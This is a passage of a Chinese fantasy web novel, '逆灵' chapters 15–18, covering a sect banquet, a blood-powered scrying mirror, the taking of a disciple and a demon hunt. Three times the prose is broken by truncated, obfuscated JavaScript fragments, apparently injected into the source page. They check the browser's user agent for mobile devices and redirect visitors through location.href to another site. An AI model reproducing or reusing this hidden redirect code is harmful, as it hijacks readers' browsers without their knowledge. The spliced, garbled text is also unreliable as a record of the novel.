“你当时只觉自己很强,断不至于像那等凡俗软弱女子,结了昏就失去自我,只能受制于夫。这让我想起千年前我见过的一个人间宰相,论学识、手腕、智谋,哪样都是人中英杰,所以也和你一样自信,以为没有自己做不成的事……孰料一个庸弱稚子当了皇帝,辅以一个不学无术的宦官,就轻松把他打入大牢满门抄斩。他的本事哪里去了?千年来,明君罕有,庸君比比皆是,但篡位成功的权臣却屈指可数,哪怕侥幸坐上宝座也难逃骂名,你且想,这是由人的强弱决定的么?” 仙姥活了千年,见多了世事,说起话来有种沧桑感。一旁的二师姐风遥笑着应和:“难怪世人皆以君臣、夫妻并举,原来本质都是同一套上下层级。层级早已设定好,妻想不被夫役使,就像臣想造反一样难了。” 旁边的金云飞听得连连点头,她就是个很强的女子,本事强、意志强、性格强,但那又怎样?无论是她挣下的产业,还是她生下的孩子,都得跟着丈夫姓。那个男人再平庸,也能坐享其成。哪怕她冲冠一怒杀了他,按凡间律法也是大逆之罪,若非得到娏天宗帮助,抛弃一切逃离凡界,她早已被凌迟处死。 她感慨地说:“再强的人,进入不利于自己的层级体系,也很难翻盘了。就像手气再好的赌徒也几乎不可能赢过庄家。最明智的选择,是不要进到别人设置好的体系之中。” 说着,她向吴迪会心一笑,意思是“你也懂吧”。吴迪却只好苦笑,现在她倒是懂了,但如果换了十八岁的她,能听懂才怪。师尊说那时的她过于“自信”,还真没说错。 风谣说:“云飞说得是啊!不入局,才不会输。不过这世上,应当不止这一种体系吧?师尊,我看这套君臣夫妻尊卑上下的玩意儿,也是近两千年才有的,那以前的天下是个什么样?” 风遥是典型的学霸,比AI还能总结老师讲的要点,而且每每更进一步,发散提问。如今她已是鸣玉真君,独当一面做了峰主,但仍像以前一样是个好奇宝宝。这问题意识,甩出体育生吴迪十八条街。 “我也不知。”仙姥诚恳作答,“只是我想,大道返璞归真,真正的神界,或许就是世界原初的模样。” 吴迪心中一动,想起自己悟到的逆向化形术。她忽然开口:“说不定,我们可以逆转世界。” 众人一齐看向她。 她是逆灵之体的事情迟早人尽皆知,而且在这些亲人、友人面前也无需藏拙。所以,她当即讲了自己发现逆灵、恢复灵台,悟道、闭关的经历,听得众人惊讶不已。 一向鄙夷男修的六师姐卫婵一脸恍然:“果然!我就说男祖师害人不浅,这破修真界还有多少理论是错的也未可知。也无怪乎灵气越来越少,怪物越来越多,修了这么多年就没几个人飞升,一团糟!” 姜舜华也皱眉:“难怪《婋奾宝典》越往上练,越与现在的修真体系脱节,我修到合体,感觉也和以前化神期没啥差别,近三十年来止步不前,还以为是自己有问题……” “这些事情之后慢慢讨论吧。”仙姥拄着几十斤的铜杖站起身来,“先吃饭,给老七接风洗尘,欢迎她回家!” 不一时,就有四师姐楚泽方造的掌灶傀儡端来各色佳肴,金桃雪藕,沉李浮瓜,牛羊鱼肉,无所不有。大家不分长幼,围坐逗乐,二师姐风遥拿那支被吴迪摔了个缺口的白玉箫吹起小曲,豪爽的五师姐庄南华敲着碗碟击节唱和。饺子在石桌石凳下穿来钻去,讨得吃食,大快朵颐。小师姪们则凑在一起讲笑话,嘻嘻哈哈,闹个没完。 仙姥看着她的这些孩子们,眼中流露出慈爱的笑意。吴迪坐在她身边,正要帮她夹菜,手却忽然被她握住,轻轻一拍:“小七啊,这些年,苦了你了。” 老人的皮肤是薄薄的、凉凉的,但却有一股温热直抵心间,让吴迪鼻子发酸。 “不苦不苦,我在外面还弄了火锅吃呢。”她连忙笑着掩饰,“师尊啊我跟你讲,我现在厨艺大进,还会调配饮品了,下次让你尝尝我的‘伯牙绝命’……” 正说着,忽然有人从背后轻轻拍了拍她肩膀,她猛然回头,倒把那人吓了一跳。 “小、小师妹。” 三师姐姚希夷手指绞着衣角,怀里像藏着个什么宝贝,又是紧张,又有点小得意。 姚希夷最是“呆”,脑子好像跟其她人不在一个频段,比如听笑话的时候,大家都笑完了她才如梦初醒般地开始谜之微笑。正是利用她这点,十八岁的吴迪轻松骗过她,突破了师尊的禁足,和田跌跑路了。 但谁都知道,貌似木讷的姚希夷实则是炼器第一人,道号曜灵真君,只要她自己不犯呆,她那些刁钻的法器就无人能敌。 吴迪露出个充满敬意的笑容:“三师姐,什么事?” “我、我有个东西想给你看。”姚希夷掏出一面铜镜,“你看,诶,对着光看,看到里面的纹路没有?我、我用鉴明阵炼出来的,这叫做千里相思镜,比以前那些千里视物的阵法、法器都简单多了,无需什么额外的咒术,只需对方一滴血……” 她越说越兴奋,语速越来越快,完全不顾吴迪听得一头雾水。倒是青鸾仙姥听出端倪,说:“用法术监视他人,乃是禁术,你搞这些做什么!” “怎、怎么能说是监视呢!”姚希夷开始犯轴,“我就是想让小师妹,看、看看她的孩子嘛!” 吴迪这才明白,敢情三师姐是来抓自己试用新设备了。她立马拒绝:“不不不,不用了,我没这个需求,不用看了谢谢。” 姚希夷情急:“你、你难道就不想你孩子吗?十年没见了,不好奇他长什么样了吗?我跟你讲,虽然说一般是需要对方的血,但我也设了另一种模式,如果是你的孩子,血脉相通,也可以用你自己……” “不了不了,我不是那种在小孩房间装监控的老妈啊,而且我的血是很宝贵的好吗!” 姚希夷大失所望,抱着铜镜缩到一旁,显得很可怜。吴迪想起以前骗她的事,有点于心不忍,想了想,旋转戒指,扔出一样物事:“这个给你,拿去试试吧。” 那是一只血淋淋的断手。姚希夷是学术型人才,虽然开发出来的东西早杀敌无数了,但自己从不用亲自动手,所以当即被断手吓得尖声怪叫。吴迪无奈,捡起断手,挤出一滴血滴在镜子上。 在众人惊骇的目光中,她解释道:“呃,这是田跌那厮的手,应该也能召唤出我那倒楣孩子吧。” 姜舜华看了直摇头:“你留着这种东西干嘛?就这么舍不得他?要不要我帮你捡回他的骨头做个标本摆在卧房里啊?” 哈?这人怎么比自己还丧病,难道这就是cult片的风格吗? “呵呵,收藏战利品而已。魔物还知道捡人头呢,我捡只手怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033104|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“原来如此,你的趣味竟和魔物一样吗?” 和大师姐斗嘴的间隙,断手之血已经滴在镜面上,复杂的纹路顿时燃起火光,镜子如片片碎裂一般,金光四射。 但很快,火纹熄灭,镜面上出现了图像。 一个年轻男子在江边垂钓,大概是热了,他揭下斗笠,轻轻扇风,露出一张苍白消瘦的脸。 看着那酷似自己的容貌,吴迪微微一愣,心头难免升起几分怔忡。 真像啊……不过,从没在自己这张脸上看到过这样忧郁的表情。 修炼十年,她对大道领悟越深,也越明白,既然自己拥有原主的全部记忆和感受,那么自己与原主就是一体。 所以,她不愿再用“原主”这个词,而将其视作“在这个世界的曾经的吴迪”。 所以,镜中人就是她在这个世界的孩子,她无法矫情逆志,假装自己毫不在意。 “啊啊啊成功了!这可是三千里外的秋江县啊,影像居然这么稳定!” 姚希夷激动得手舞足蹈,一把抢过镜子,跑旁边研究去了。吴迪笑笑,拿起杯子,轻啜一口酒,闷头夹菜。 楚泽方和庄南华相视一眼,柔声道:“他以万刃归宗自刺灵台,已是无法恢复了。但我给他了一瓶延寿丹,以凡人之身,活到百岁应当没有问题……” 吴迪一怔:“四师姐,你去看过他了?” “咳咳,毕竟是你的孩子嘛……” 吴迪环视四周,见师尊师姐们都默然相对,知道这是她们共同的主张。一时间,她不知是感动,还是惭愧,心中五味杂陈。 想了许久,她说:“多谢你们,但以后不用管他了。我曾给过他机会,但他自己选择了现在的命运,那就顺其自然吧。” 金云飞一惊:“你认真的么?这可是你自己的血脉。” 卫婵却冷笑道:“男儿算什么血脉,好比蚊子、蚂蝗、跳蚤、蜱虫身上也流着人的血,难道也是人的血脉了?三百年前我那男弟,害我长姐小小年纪被卖给老鳏夫做续弦,只为要那十两彩礼给他说亲娶妻;又害我母亲三伏天去人家做活累到死,只为给他攒钱盖新房。若非师尊救我,我也迟早被他吸干!哪像你家徽文,独当一面,克绍母风,这才叫血脉呢!” 吴迪不想纠结于这个话题。金云飞是个好母亲,但她养的是女儿,母爱天然自洽,所以会由可爱的女儿联想到所有的“孩”;而卫婵是姐姐,在家庭的层级里饱受压迫,所以由讨厌的弟弟联想到所有的“男”。 而最倒楣的是夹在中间的人。吴迪早已意识到,在一个不正常的世界,男孩,作为兼具“男”“孩”双重属性的存在,必将矛盾重重。“孩”应当得到母亲的保护和怜爱,但“男”又是母亲的上位压迫者。养男孩的母亲在两种不兼容的属性中横跳,会渐渐扭曲得和这个世界一样不正常。 为了自洽,她们有很多人闭上眼睛假装自己也是“男”;还有的人则致力于让男儿一辈子都做婴幼儿一般的“孩”。 或许,事已至此,还是就这样敬而远之吧。 顺其自然。 怕两人继续争论下去,吴迪赶紧顺着卫婵最后那句话说道:“是是,养孩儿还是得养徽文这样的。” 几个师姐都深表赞同,对徽文赞不绝口。直把少年夸得小脸通红,都不好意思了。 话题成功转移,吴迪假作轻松,调侃道:“你们都这么喜欢徽文,怎么没人收她做弟子?难不成都想抢好苗子,争起来了?” 青鸾仙姥笑道:“是啊,该教的都教了,偏偏又不收入门下,这么亏的事情,你说图啥?” 姜舜华接话:“呵呵,还不是这小孩瞧不上咱们,说想当她的师尊,非得满足几个条件不可。” 什么?哪有这么倒反天罡的?这金徽文也太狂了吧? 吴迪惊讶地看向金徽文,却见她涨红了脸连连摇头。但几个为老不尊的家伙可不管她,你一言我一语地说了起来: “要找到符合这些条件的人还很不容易呢。” “就是说嘛。首先要战斗力强,能大闹整个师门,十头牛都拉不回来。” “其次要聪明伶俐,能把亲师姐骗得团团转。” “第三要品味高雅,比如喜欢收藏人手……” “别骂了别骂了!”轮到吴迪脸红脖子粗了,“不是吧,金徽文,你是说——” 金云飞微笑着看向女儿。少年擦去额角的热汗,握紧身上的鱼形玉佩,站了起来: “有、有一个人,她表面上喜欢开玩笑,其实那么认真地保护了我,没有让我看到任何黑暗……她还教了我什么是真正的高手,教了我什么是真正的正直,教了我不听俗人之言,追求自己的心愿……这个人,我想拜她为师,不知可以么?” 16. 《逆灵》16 吴迪一时不知说什么好。自己这什么也没做,就坐收了一个好大徒吗?她何德何能让这孩子如此崇拜,何况…… 她惭愧道:“我不是一个好母亲,也做不了一个好师尊。” 徽文却很坚定:“不,我觉得你很好!” 少年那赤诚的眼神,像初夏阳光一样能扫除所有沉郁,给万物染上希望。吴迪直视着她的眼睛,无法再逃避那澄澈的信赖,终究是点点头,说:“好。” 一个“好”字,从此多了一份最重的责任,一诺千金,至死不渝。 金徽文大喜,跑到吴迪身边,倒身就拜,吴迪站起来一把扶住她:“不用不用,娏天宗的礼数里没有跪拜这条。” “哦,我给忘了!”徽文挠挠头。毕竟自她八岁来到爱猫峰,十年间没见一个弟子入门,也不知道娏天宗的拜师仪式是什么样的。她想了想,看向酒壶,“那、那我给你敬酒……” “还坐小孩一桌,喝什么酒!”吴迪摸摸她脑袋,“叫我一声就是了。” “是!”徽文身板挺直,“师尊!” “不错,叫得响亮。” “师尊!” “嗯。” “师尊!” “怎么叫上瘾了啊,够啦够啦,回去吃饭吧。” “师尊,你有什么要吩咐徒儿的呢?” “……金徽文,你要知道,我啊,教学水平为零,可千万别指望我手把手教你什么功法阵法符咒哦。” “?” “从明天起,直接开始实习吧!” “实习?” “呃,就是在实践中学习,相当于你们说的……历练?别管那么多了,跟着我打魔物便是!” 金徽文又惊又喜,拱手谢过。青鸾仙姥笑道:“是,当务之急,是扫除那些魔物,还天下清平。小七的逆灵之术,这几天大家也都试试,看能不能增强力量。” 众人一齐举杯,一是祝贺吴迪和徽文,二是祝愿除魔之战能取胜。有吴迪的加入,又得到新的思路,大家都增添了几分乐观,言笑晏晏,饮酒尽欢。 宴席结束,仙姥也不休息,直接切换成备战状态。 几百年来,仙姥除了下山收徒,不问凡间之事,专心修炼。这次会聚整个宗门奔赴丁州,实是觉得灾害太重,情势危急。上个月的大战,她也参加了,亲眼见到了魔物的厉害。当时,由于主帅上仙宫崇光仙尊刚愎自用,轻敌冒进,中了魔物之计,其他宗门皆大败而归,损失惨重,唯有娏天宗还有所斩获,救下不少百姓,算是唯一的小小胜利。 吴迪越听越觉得不对劲,以她之前的经验,魔物智商不高,娃娃鱼那样的都算是魔物中的爱因斯坦了,怎么现在却精通兵法能使计策了?这进化速度也太惊人了吧。 仙姥先说了总体情况,然后各师姐、师姪逐一汇报自己近期的成果。看得出来大家个个都很努力,各显神通。 大师姐姜舜华最是凶悍,带领门下弟子和火猫将三个魔物盘踞的城池直接烧成灰烬,寸草不留; 二师姐风遥画阵有成,最新的阵法无形无声,而魔物一旦闯入,就会经脉俱焚; 四师姐楚泽方和弟子昼夜画符,分发给百姓防身,还造出三十六傀儡四处巡视,保护村落; 五师姐庄南华以火剑斩魔头无数,已总结出一套专克魔物的新剑法,正加紧训练弟子们; 六师姐卫婵心性猛烈,以煎心咒造出的幻境更上一层,足以反向煎熬百头以下的魔物,甚至使其痛苦自爆。 年轻弟子们也各自拿出战利品,光是徽文就抖出一大袋魔核,有数百个之多。 吴迪坐在其中,就像业绩汇报的时候看别人纷纷晒出中英双语百页PPT,而自己PPT只有3KB,真是如坐针毡,恨不得立刻冲出去杀一万个魔物自证实力。 “我们做了一些新的表……”又有人发言了。 等等,这不是金云飞吗!她怎么也来开会? 倒不是吴迪瞧不起凡人,但她实在想不出凡人能对除魔这件事做些什么。却听金云飞和宋青雨轮番上阵,解说她们根据各方信息汇总的数据。根据她们的最新分析,最招魔物的城镇是那些百姓富足、环境优美的地方;而脏乱差的、相对贫穷的城镇,比如艾蝻县,在魔物的选择里是相对靠后的。 吴迪听得是心服口服。在记录信息、分析数据、寻找“客户”喜好这块,大商人金云飞和她的管账大伙计宋青雨是当仁不让的行家。凡人自然也有自己的特长,是她想法太局限了! 她越听越觉得自己是个咸鱼,不过好在,还有比她更咸鱼的。 三师姐姚希夷从会议开始就没说过一句话,像个上课玩平板的大学生一样,抱着她那块铜镜坐在角落里,低着脑袋,看得入迷。 吴迪悄悄凑过去窥屏,不看不要紧,一看吓一跳,镜子上不还是她男儿的大头照吗! 喂!这是在干什么?看了半个时辰了啊,有、有那么好看?! 吴迪惊骇万分,用手指轻轻戳戳姚希夷:“三师姐……你在干嘛?” 姚希夷一抖,回过神来:“哦、哦,我在看镜子。” “我知道你在看镜子啊!怎么还在监控田厉?” “镜子好像坏掉了。”姚希夷深深皱眉,“失灵了。” “怎么了?” 姚希夷不再理她,又沉浸到自己的世界里,手指在镜子背面飞速滑动,也不知道在施什么法。过了一阵,她摸出一小块绿色晶体放在镜面上,指尖燃火将其熔化。灼热的绿色液体渗入镜面,图像却依然没有改变,仍是田厉坐在江边钓鱼。 吴迪迷惑不解地看着她的操作,只见姚希夷越来越急,施法的速度和熔化晶体的频率越来越快,但镜子始终没有改变。最后,她气急,把那镜子重重一摔,说:“看来没用!不能看到魔物!” 吴迪明白了。那绿色晶体是魔核碎片,熔化了就是魔血。这镜子的运作原理吴迪虽听不懂,但使用方法是傻瓜式的,只要滴上监视对象的血液或其直系血亲的血,就可以看到对方。所以姚希夷是想尝试用魔血滴入其中,看能不能监视魔物。 原来这才是她研制这个“千里相思镜”的根本目的。 但是这个名字真的好吗!谁要跟魔物相思啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033105|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在的问题是,镜子貌似卡在前一个实验那里出不来了。这种技术难题不是吴迪能解决的,她只能试着提提意见:“要不,你换其她人试试?” 姚希夷气鼓鼓地说:“离这么近有什么好试,我这法器是要看千里之外的。” 正说着,仙姥的声音穿透石洞,直达两人躲藏的角落:“希夷,你有什么要说的么?” 姚希夷哪有心思说什么,直接摆烂:“没有。” “看你成天捣鼓法器,难道就没有什么进展?” “没有,一点也没有。师尊,还是让小师妹说吧,今天不是她唱主角么?” 不讲武德啊这人!老师抽问,自己不想回答就直接把祸水引到师妹身上,真是好师姐啊! 好在师尊今天很坚定地护短,笑道:“吴迪才闭关出来,晓得些什么?接风宴是她唱主角,这会儿她就是个龙套。且先旁听着,下次再说吧。” 吴迪舒了口气,高兴地笑。但笑着笑着,她的笑意却渐渐凝固了。 不对劲。 有事情不对劲。 主角……龙套……接风宴上她是主角,但作战会议上她就是龙套。 那么,在电影中呢? 她怎么就忘记电影还没有结束,纵然从合家欢商业片改成了cult片,可这仍是一部电影啊。 是电影,就有主角。 她悄悄打开脑中的面板,调出人物卡。还是和原先一样,第一位是主角田厉,第二位是男配肖凋……翻到很后面,就是那张熟悉而简短的“田夫人”。 一切都没改。 没改,有可能是没有更新;但逆过来想呢?有没有可能,是因为根本不需要改? 也就是说,田厉依然是主角,肖凋依然是男二,连“死了”的田跌都依然是个重要角色…… 那么,一部cult片的主角,会是成天静坐在江边的钓鱼佬么? 她脊背微微发凉,周围的声音好像淡去一般,全部神识都在眼前那个名字上。 或许镜子并未失灵。一直映照田厉的图像,只是因为姚希夷一直在往上面滴血。 最初滴田跌的血,这是父子血亲;后来滴魔物之血,图像不变,不是镜子卡住了,则是因为…… 他就是魔物,或者魔物的血亲。 当然,这只是一种猜想。而且,未免有点离奇。 吴迪偷偷摸到被三师姐扔在地上的“千里相思镜”,看向镜面。镜中影在渐渐淡去,只见田厉收起鱼竿,提起空空的竹篓,向林中走去。 这镜子和后世的监控外表相似,其实性质完全不同。它是用灵力联结观测对象,因此观测者可以运用神识,观察到图像以外的东西,譬如对方的修为高低。吴迪当即凝神感知,她感受到的,是一具血肉之躯,毫无灵力。 这倒不需要多怀疑,因为四师姐亲眼见过田厉,以她的修为和细心,若有异常,早发现了。可见,这不是什么傀儡术,也不是幻象。目前的男主,真真确确只是一个凡人。 灵力和魔血耗尽。镜影完全消失了,倒映出吴迪的脸,满是疑惑。 17. 《逆灵》17 凡人,活着的凡人,怎么跟魔物扯上关系的? ……总不能是他和线虫干什么不可描述的事了吧? 吴迪毛骨悚然,但觉得还真不好说。想起在现实世界看过的种种奇葩社会新闻,虽然是自己生下的男儿,对于他会不会烂到那个程度,她也是没什么信心的。 如果是这样,那还确实挺cult片的。以前吴迪无意中点开过一部叫《人〇杂交》的电影,看完后就大为震撼。难道本片抄的就是这个创意? 怀着心事,她跟姚希夷说借镜子一用,袖着它走回自己的住处。师姐们在岩洞中找出许多石室,师尊住最开敞高爽之处,其她人也各有自己私人的空间。吴迪走进自己那间石室,傀儡已经铺好简单的被褥,虽不是什么舒适居所,但作为战地营寨已经很好了。 她坐在石床上,拿出千里相思镜,熔化一小块魔核,果然又出现了田厉的影像。 他已顺着山林小路走回一间棚屋。没有钓到鱼,就烧了柴,煮了面条,坐在斑驳的木桌前一个人吃了,洗碗,收拾屋子,天黑了就上床睡觉。 这作息,比养生老年人还规律啊。以前晚上整宿在外胡闹、丝毫不会做家务的顽童,也真是变了许多…… 看了半天,没发现什么异处。但吴迪心头的不安没有散去,她转念一想,将熔化的魔核扔进灯台。 霎时间,绿雾四散,气温骤降,那种熟悉的阴湿、窒息感又来了。不过吴迪现在修为甚高,这点微弱的精神攻击影响不了她。她沉下心,亲自感受魔物的恨意。 压抑。愁苦。愤怒。好像很吵闹,但是,又很空洞,跟娃娃鱼那种具象的恨完全不一样。吴迪抓不住恨意的来源,也引不起一点共鸣。待绿雾散去,她不过是觉得受了一阵凉,莫名其妙。 这是哪门子的恨?从来没见过。这帮魔物在闹什么啊? 夜里,岩洞中安安静静,只有神火结界轻微的燃烧声。吴迪知道宗门的人都在忙着尝试她所说的逆灵之论,不便去打扰,就走到了金云飞的石室。 “可以进来吗?” “请进。” 她走进去,见金云飞还在烛火下看一本簿册,上面好像都是和魔物相关的东西。这家伙,现在真是魔物学专家了。 金云飞把簿册推到一旁,笑吟吟地看着她:“吴仙师,谢谢你。” “谢我干嘛啊——” “我早知你是不凡之人,果然,不过十年,你就已经如此强。” “你才是真的强啊,真没想到,你能……” “能杀人是么。”金云飞尽量淡然地说出这个词,却还是难掩声音的震颤,“唉,其实我自己也没想到,这么多年了,我……” 她戛然而止,似是有些难言,吴迪笑道:“不会是还在愧疚吧?” “不!就是因为这个……大家都以为我是被他逼急了,忍无可忍才这样……但其实,不瞒你说,我当时心中居然是有一点窃喜,好像觉得,幸好他对不起我,幸好他先想要把我逼到绝路,我终于可以有了杀他的理由——不用愧疚。” 吴迪静静地看着她:“我懂。” 金云飞长舒一口气:“我还以为自己不正常了。” “你只是天性被压抑太久啦。仁爱是人的天性,杀戮也是人的天性,同样是娘生的,没道理男人独占了后一半,而女人只有前一半,对吧。”吴迪说得平淡,好像这是一件再普通不过的事,“现在经常参与杀魔物了,是不是感觉内心调和了?我看你气色都好多了嘛。” 金云飞笑了:“气色好,那是吃了令师姐的延寿丹。” “哦,还以为是杀敌补气血呢。哈哈,那冒昧问句,你如今寿数如何?” “活一百岁应该没问题吧。可以多陪徽文几年的。” 金云飞说着,打量她的神色,没再多说。吴迪心知,她是想劝自己珍惜和凡人孩儿相伴的有限时光,但又不便开口。 吴迪确实也不想提这茬子事,就还是只说徽文了:“如今徽文是真的每天面对危险了,你不担心?” “她的选择,由她去吧。”金云飞看向那厚厚的簿册,“危险总会在那里,逃也逃不掉。我也只好做一点力所能及之事,帮帮她,帮帮大家,也帮帮我自己。” 吴迪看簿册摊开的一页用工笔细细描绘了线头怪的形态,画得甚是精湛,顺势问道:“你应该已经知道,魔物的本质是恨意了吧。” “嗯,知道。” “那你知不知道这种线头怪,到底在恨什么?” 金云飞神色严肃起来。 “你也察觉到不对了么?这就是最大的问题了。我问过所有跟魔物交锋过的人,没有一个能说出它在恨什么,不仅是徽文这样年少的说不出,灵晖真君她们这些阅历丰富之人,竟然也找不出语言来描述。” “你问的,都是我们宗门的人吧?其他宗派怎么说?” “其他宗派没人理会我这个凡人。甚至,他们很多人都不同意魔物的本质是恨意,另有观点。” 吴迪有点惊讶,她还以为这一点是很显然的,不会有什么争议,怎么还有别的说法? 金云飞解释道:“镜花阁就认为,这些魔物是天地阴阳失调而产生的;明德门说,是教化不修,凡界道德腐坏,龌龊滋长而生;无命楼又说,它们只是有未尽之愿,算不得恨意……” 真是稀奇啊!吴迪虽然说不出它们在恨什么,还是能明确感到这是一种恨的,这些人怎么睁着眼睛说瞎话?难不成并未真正接触过魔物,就跟吴迪以前所在世界的某些“砖家”一样,躲在象牙塔,脱离实践,道听途说? 金云飞又说:“但我现在有越来越多的证据证明魔物确是由恨意生成了。不然为什么,它们优先挑生活安乐幸福的城镇和村庄攻击?又不劫财,纯搞破坏,这要不是因为恨,还能因为啥?我看,这些东西,就是恨人,见不得人类过得好。” 这个信息还是很有用的,是对魔物习性的一个新发现。吴迪敢说,凡人金云飞对魔物的了解,远胜于一些高高在上的修士。她不由得和这位专家聊到夜深,方才回去休息。 到了自己石室,启动千里相思镜,并没有看到田厉和线虫XXOO的可怕场面,只看到他安安静静地睡着,睡得正香。 吴迪观察了大半夜,也没见任何异状,想来想去,不明所以。 她分出一部分神识,持续监视镜子;又唤来四师姐给自己配备的傀儡,安排它每隔两刻时间就往镜子中滴入一点熔化的魔核。然后自己稍稍休息,运功养神。 终究是成为在小孩房间装监控的可怕家长了啊。她闭上眼睛,冷冷自嘲。 清晨,她早早起身,步入石殿。阳光从洞口斜斜照入,形成一根光柱。青鸾仙姥已在光柱下闭目打坐,银发笼着柔和的光芒。 其她人也陆续来了,有的面带沮丧,有的一脸兴奋,但看起来都略略有些疲惫。 当然了,她们肯定都在整宿参悟逆灵心法,消耗甚大。 晚辈们普遍是沮丧的。金徽文一见了吴迪,就失落道:“师尊,我看到逆灵了,但吸纳不了,看来,我没有你那样的先天根骨。” 吴迪淡然道:“能看到不也很好了吗?能悟其理,就能突破许多俗见,逆炼功法。” 姜舜华则属于兴奋的人,马上附和:“是啊,我也吸纳不了,但我忽然就有点知道我为什么卡在第六层第六阶了——以前只想着火借风势,其实也该想想风由火生……今晚再悟悟,没准就再度悟道了!” 大家七嘴八舌地讨论着,仙姥只是平静打坐,淡淡微笑。宗门的风气向来是在合理的范围里尊重每一个人的天性,理解每一个人的想法,眼下就是如此: 年少的还在筑基,急于增加灵力,所以为不能吸纳天地间无比充沛的逆灵而失望;年长的已修炼多年,经脉中灵力管够,所以能得“逆”之道理就已知足。 无需强行劝说孩子们像长辈那样“淡泊”。年长的沉稳知足,固然高明;年少的血气方刚,在这个年龄也自有其好处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033106|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徽文就是个不知足的,她拉着吴迪道:“师尊,既然我练气慢,那更要加倍努力了!今天多让我打几个魔物好吗?我不怕苦!” 收了这样的卷王学生,吴迪也只好“不怕苦”了,吃了早饭就带着她打副本去。 这个副本,哦不,任务,是保护三十里外的一个城镇——棋盘镇。除了姚希夷留在洞中继续钻研她的各种神器,其她人都到镇上,各司其职。 吴迪负责的是击退东城墙外的魔物。 她和徽文御剑飞到城外,见城池被三丈高的火墙结界保护着,但灵力已快要耗尽,火势呈衰弱状态。师姐们正要分散各方,一齐注入灵力,吴迪止住她们:“让我来吧!” 她能利用逆灵,取之不尽;而师姐们的灵力由普通灵气转化而来,更稀有,应该珍惜。无需多言,大家默契地让开,吴迪双手结印,以“燎原焚风”之法,因风送火,将汹涌的逆灵之火融入阵内。 刹那间,逆灵之火与灵力之火相触,彼此湮灭,释放出一阵猛烈热浪,竟将徘徊在结界外的几个线头怪吹得散架,头身分离,不知飞去了哪里。吴迪动作一顿,看向目瞪口呆的小师姪们,笑道:“唔,不好意思,有点用力过猛……” 然后她一挥“饶命”,新的火墙就冉冉升起,边缘一点紫色转瞬即逝,充满危险气息。 在小朋友们面前装了一把,吴迪淡定地收起“饶命”,对徽文说:“走,去东城门。” 金徽文赶紧跟上,满眼星星:“师尊,你太厉害了!” “小事。”吴迪找回了当年装大师的感觉,只差手头拿把扇子了,“所以你看啊,相逆之物湮灭互克,也是一种能量。你既是水火双灵根,若将两者相合,也必然胜过以火独斗,又何须羡慕我的逆灵之体?” 徽文恍然,思索片刻,说:“明白了。我可以先用凝冰术将敌人封冻,再略一灼烧,这样既省灵力,杀伤力又巨大,是么?” 吴迪笑道:“聪明。但还有别的法子。” 徽文想了想,又说:“水火相撞,高温蒸汽瞬间爆开,让敌人无处可逃?” “很好。没试过这些吧,走,为师带你去试试!” “可是……” “可是什么?” “敌人都被师尊吹走了啊……” …… 一个时辰后,师徒二人坐在东城墙上,托腮远望,百无聊赖。方圆十里,清清静静,唯有烈日下的一片死寂,连一只飞鸟也无。 吴迪叹道:“魔物什么时候来?我不知道。” 金徽文拿起茶壶,给师尊把茶杯加满:“我是在等待我的魔物,我却真的不知道它会什么时候来。” 两人上演着荒诞派戏剧《等待魔物》,直到一壶“伯牙绝命”都喝完了,还不见魔物的踪影。 “徽文,要么,我今天就教你配饮品吧。” “……不了不了,嘿嘿,师尊,你这个绝学,还是你自己……” “怎么?难道你并不喜欢喝?只是出于对我的尊敬才勉强咽下?难道在你的心中这绝世饮品和洗锅水一样恶心,喝上一口就如黏糊糊的蛞蝓顺着喉管缓缓下滑,你不过是强压着胃部的痉挛在与味觉搏斗?” “你都知道啊!怎么自己说出来了!不要描述得这么细节啊!” “可恶啊,我就知道你们都是在敷衍我。我一番苦心,还不是为了用清心安魂之灵草,给你们这帮丫头消消杀气……” “原来是这个功效么?!那你天天喝几壶,到底有多少杀气要消啊!” “老七,来帮个忙!”一枚纸鹤状的传音符飞来,打断了两人的插科打诨。 是二师姐风遥的声音:“城南,城隍庙,泽方那里跟人吵起来了,我和你大师姐还在烧魔物残骸,你没事的话,就去看看吧。” 四师姐楚泽方性情温和善良,平时专注于救人,跟人吵架估计是不行的。吴迪当即精神大振,一甩袖子,将茶壶茶杯尽收于戒指中:“走吧金徽文!今天的实习,就是学吵架了!” 18. 《逆灵》18 到了城隍庙,只见一群看热闹的人凑在一起,把主殿大门围得水泄不通。里面传来哭喊声:“救命啦!娏天宗的仙师殴打老百姓啦!” 吴迪挤开众人,带徽文走进去。楚泽方正站在香桌前手足无措,见她们来了,眼睛一亮。 这四师姐,青衣布鞋,头发总是用布带简单束起,恍若药房医士。此时她手指还沾着为百姓画符而留下的墨痕,面上带着灵力过度消耗的憔悴,哪里像个欺负人的? 她门下弟子和她一样老实,都是笨嘴拙舌的丫头,吴迪问了半天,三个人才说清刚才发生的事。 